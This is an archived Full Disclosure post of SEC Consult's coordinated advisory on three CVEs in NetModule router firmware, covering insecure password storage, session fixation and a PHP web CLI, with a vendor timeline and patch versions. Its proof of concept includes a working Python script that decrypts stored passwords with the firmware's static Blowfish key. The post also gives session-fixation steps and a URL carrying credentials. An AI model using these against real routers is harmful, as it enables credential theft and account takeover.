



Site Search

[Full Disclosure](#) mailing list archives[By Date](#) [By Thread](#)

List Archive Search



## SEC Consult SA-20210820-0 :: Multiple Vulnerabilities in NetModule Router Software

From: SEC Consult Vulnerability Lab <research () sec-consult com>

Date: Fri, 20 Aug 2021 13:44:26 +0200

SEC Consult Vulnerability Lab Security Advisory < 20210820-0 >

=====

title: Multiple Vulnerabilities in NetModule Router Software  
product: NetModule Router Software (NRSW)  
vulnerable version: Before 4.3.0.113, 4.4.0.111, 4.5.0.105  
fixed version: 4.3.0.113, 4.4.0.111, 4.5.0.105  
CVE number: CVE-2021-39289, CVE-2021-39290, CVE-2021-39291  
impact: High  
homepage: <https://www.netmodule.com/en/>  
found: 2021-05-05  
by: SEC Consult Vulnerability Lab  
These vulnerabilities were discovered during the research cooperation initiative "OT Cyber Security Lab" between Verbund AG and SEC Consult Group.  
Gerhard Hechenberger (Office Vienna)  
Steffen Robertz (Office Vienna)

An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America

<https://www.sec-consult.com>

=====

### Vendor description:

"NetModule is a leading manufacturer of communication products for M2M and IoT. One focus is on our solutions for applications in the fields of shipping, local and long-distance public transit, and Industrial Internet. Future markets such as Smart City, public safety, and sustainable energy and resource management are further focus areas. The key technology here is 5G.

Our devices are certified and include the latest wireless technologies along with multiple interfaces for applications where robust communication is essential, such as information systems, driver communication, passenger WiFi, remote maintenance, condition monitoring, and real-time data exchange."

Source: <https://www.netmodule.com/en/about-netmodule/portrait>

"Our Linux-based router software ensures reliable data connections with a wide range of network functions and smart link management - stationary and mobile. Configuration and update options for secure operation throughout the product life cycle and over-the-air complete the package. As a special service, we offer you free updates and support."

"The NetModule router software (NRSW) is our standard software and runs on all our devices. This has the advantage of being able to use identical configuration processes and functions for every router (unless technical restrictions dictate otherwise). It is based on proven components such as Embedded Linux and a powerful communication protocol suite."

Source: <https://www.netmodule.com/en/products/software-overview/router-software>

### Business recommendation:

The vendor provides patches, which should be installed immediately.

SEC Consult recommends to perform a thorough security review of these products conducted by security professionals to identify and resolve potential further security issues.

We want to thank NetModule for the very professional response and great cooperation.

### Vulnerability overview/description:

- 1) Insecure Password Handling (CVE-2021-39289)  
The device is storing passwords in an insecure way. For some of them, e.g., user accounts, password storage is an optional feature. For others, e.g., the certificate password, configuration possibilities do not exist.  
\* Storing and sending passwords as cleartext  
\* Storing passwords symmetrically encrypted with a static key
- 2) Limited Session Fixation via Cookie (CVE-2021-39290)  
An arbitrary session token cookie value can be used on the web interface. If a session token with an arbitrary value is available, the device does not create a new one during the login process. Also, after the logout, no new session token will be issued. An attacker which is able to create cookies on the victim's client (via potential HTTP Response Splitting, Malware, physical access, ...) can use this to take over the session of the victim.
- 3) Insecure Feature (Web CLI) (CVE-2021-39291)  
The interface supports an optional "CLI-PHP" feature, which is essentially a PHP webshell. Authentication is needed and the credentials can be sent as GET parameters. As GET parameters are part of the URL and URLs are frequently stored, this may enable attackers with access to such logs to take over the used account.

### Proof of concept:

- 1) Insecure Password Handling (CVE-2021-39289)  
\* Storing and sending passwords as cleartext  
The certificate settings are located at  
SYSTEM -> Keys & Certificates -> Configuration. When visiting the following URL, the certificate password will be included in cleartext in the response:  
<http://<IP-address>/admin/certificates.php?action=configure>

Find the response below:

-----

HTTP/1.1 200 OK  
X-Powered-By: PHP/5.6.31  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-type: text/html; charset=ISO-8859-1  
Connection: close  
Date: Mon, 26 Apr 2021 07:20:26 GMT  
Server: lighttpd/1.4.39  
Content-Length: 25448

```
[...]
<td class="c2_left">Passphrase:</td>
<td class="c2_right">
  <input type="password" id="phrase" name="phrase" size=20 value="password12"
  >
</td>
[...]
```

Additionally, the password is stored in cleartext in the file  
 /etc/default/cert-settings on the device, the line reads:  
 PHRASE="password12"

\* Storing passwords symmetrically encrypted with a static key  
 The passwords are stored in the configuration file on the device, which can  
 also be downloaded at SYSTEM -> File Configuration -> Download. The downloaded  
 ZIP file will contain a \*.cfg file, which includes several encrypted passwords  
 (the values are prefixed with "[enc]", e.g.:  
 cer.settings.phrase=[enc]UauZghllTu7Jy7pF3mdkFA==  
 wwan.0.password=[enc]UauZghllTu7Jy7pF3mdkFA==  
 user.0.password=[enc]UauZghllTu7Jy7pF3mdkFA==  
 The used encryption is Blowfish CBC with a static key and initialization  
 vector, therefore, the passwords can easily be decrypted. This can be done with  
 the following script:

```
#!/usr/bin/env python3

import sys
import base64
from Crypto.Cipher import Blowfish

data_b64 = sys.argv[1]

key = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
iv = b"\x00\x00\x00\x00\x00\x00\x00\x00"
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)

data_enc = base64.b64decode(data_b64)
data_pad = cipher.decrypt(data_enc)
num_pad = int(data_pad[-1])
data = data_pad[: -num_pad]
print(data)

-----
The value in the configuration file can be decrypted as follows:
-----
$ ./netmodule_config_decrypt.py UauZghllTu7Jy7pF3mdkFA==
b'password12'
-----
```

2) Limited Session Fixation via Cookie (CVE-2021-39290)  
 The session token is stored as cookie named "PHPSESSID". To show the issue,  
 execute the following steps:  
 \* Set the "PHPSESSID" cookie in scope of the web interface to an arbitrary  
 value while logged out.  
 \* Log in. Observe that the cookie remains unchanged.  
 \* Log out. Observe that the cookie remains unchanged.

3) Insecure Feature (Web CLI) (CVE-2021-39291)  
 The Web CLI can be enabled at SERVICES -> Web Server -> Enable CLI-PHP.  
 It is available and can be used at the following URL:  
 http://<IP-address>/cli.php?command=status&usr=admin&pwd=password12

Vulnerable / tested versions:

-----  
 The following firmware/device has been tested:  
 \* NetModule NB1600: Firmware version 4.3.0.110 LTS

According to the vendor, the following models with firmware versions before  
 4.3.0.113, 4.4.0.111 and 4.5.0.105 are affected:

```
* NB800
* NB1600
* NB1601
* NB1800
* NB1810
* NB2700
* NB2710
* NB2800
* NB2810
* NB3700
* NB3701
* NB3710
* NB3711
* NB3720
* NB3800
```

Vendor contact timeline:

```
-----
2021-05-25: Contacting vendor through support () netmodule.com, asking
for security contact information. Set release date to
2021-07-14. Received vendor response concerning further steps.
2021-05-26: Advisory was transmitted to head of PM and acknowledged.
2021-06-16: In a call, the vendor acknowledges the findings and ensures to
keep us updated on the upcoming release of a fixed firmware
version.
2021-07-23: The vendor provides information on the release of a fixed
firmware version on 2021-07-04.
2021-08-10: The vendor was notified about the pending release.
2021-08-19: The vendor provides information on all supported and fixed
major releases.
2021-08-20: Coordinated release of security advisory.
```

Solution:

-----  
 Update the affected devices to software version 4.3.0.113, 4.4.0.111 or  
 4.5.0.105. Additionally, do not use insecure features and pay close attention  
 to warning messages during the configuration.

For more information see vendor's release notes:

<https://share.netmodule.com/public/system-software/4.3/4.3.0.113/NRSW-RN-4.3.0.113.pdf>  
<https://share.netmodule.com/public/system-software/4.4/4.4.0.111/NRSW-RN-4.4.0.111.pdf>  
<https://share.netmodule.com/public/system-software/4.5/4.5.0.105/NRSW-RN-4.5.0.105.pdf>

Workaround:

-----  
 None.

Advisory URL:

<https://sec-consult.com/vulnerability-lab/>

-----  
 SEC Consult Vulnerability Lab

SEC Consult, an Atos company  
 Europe | Asia | North America

About SEC Consult Vulnerability Lab

The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
 Atos company. It ensures the continued knowledge gain of SEC Consult in the  
 field of network and application security to stay ahead of the attacker. The  
 SEC Consult Vulnerability Lab supports high-quality penetration testing and  
 the evaluation of new offensive and defensive technologies for our customers.  
 Hence our customers obtain the most current information about vulnerabilities  
 and valid recommendation about the risk profile of new technologies.

~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application <https://sec-consult.com/career/>  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices <https://sec-consult.com/contact/>  
~~~~~  
  
Mail: research at sec-consult dot com  
Web: <https://www.sec-consult.com>  
Blog: <http://blog.sec-consult.com>  
Twitter: [https://twitter.com/sec\\_consult](https://twitter.com/sec_consult)  
  
EOF Gerhard Hechenberger, Steffen Robertz / @2021

**Attachment:** [gmime.p7s](#)  
*Description:* S/MIME Cryptographic Signature

~~~~~  
Sent through the Full Disclosure mailing list  
<https://nmap.org/mailman/listinfo/fulldisclosure>  
Web Archives & RSS: <http://seclists.org/fulldisclosure/>  
~~~~~

[↩ By Date ↲](#) [↩ By Thread ↲](#)

**Current thread:**

**SEC Consult SA-20210820-0 :: Multiple Vulnerabilities in NetModule Router Software *SEC Consult Vulnerability Lab (Aug 20)***

Site Search

Nmap Security Scanner

Ref Guide

Install Guide

Docs

Download

Nmap OEM

Npcap packet capture

User's Guide

API docs

Download

Npcap OEM

Security Lists

Nmap Announce

Nmap Dev

Full Disclosure

Open Source Security

BreachExchange

Security Tools

Vuln scanners

Password audit

Web scanners

Wireless

Exploitation

About

About/Contact

Privacy

Advertising

Nmap Public Source License







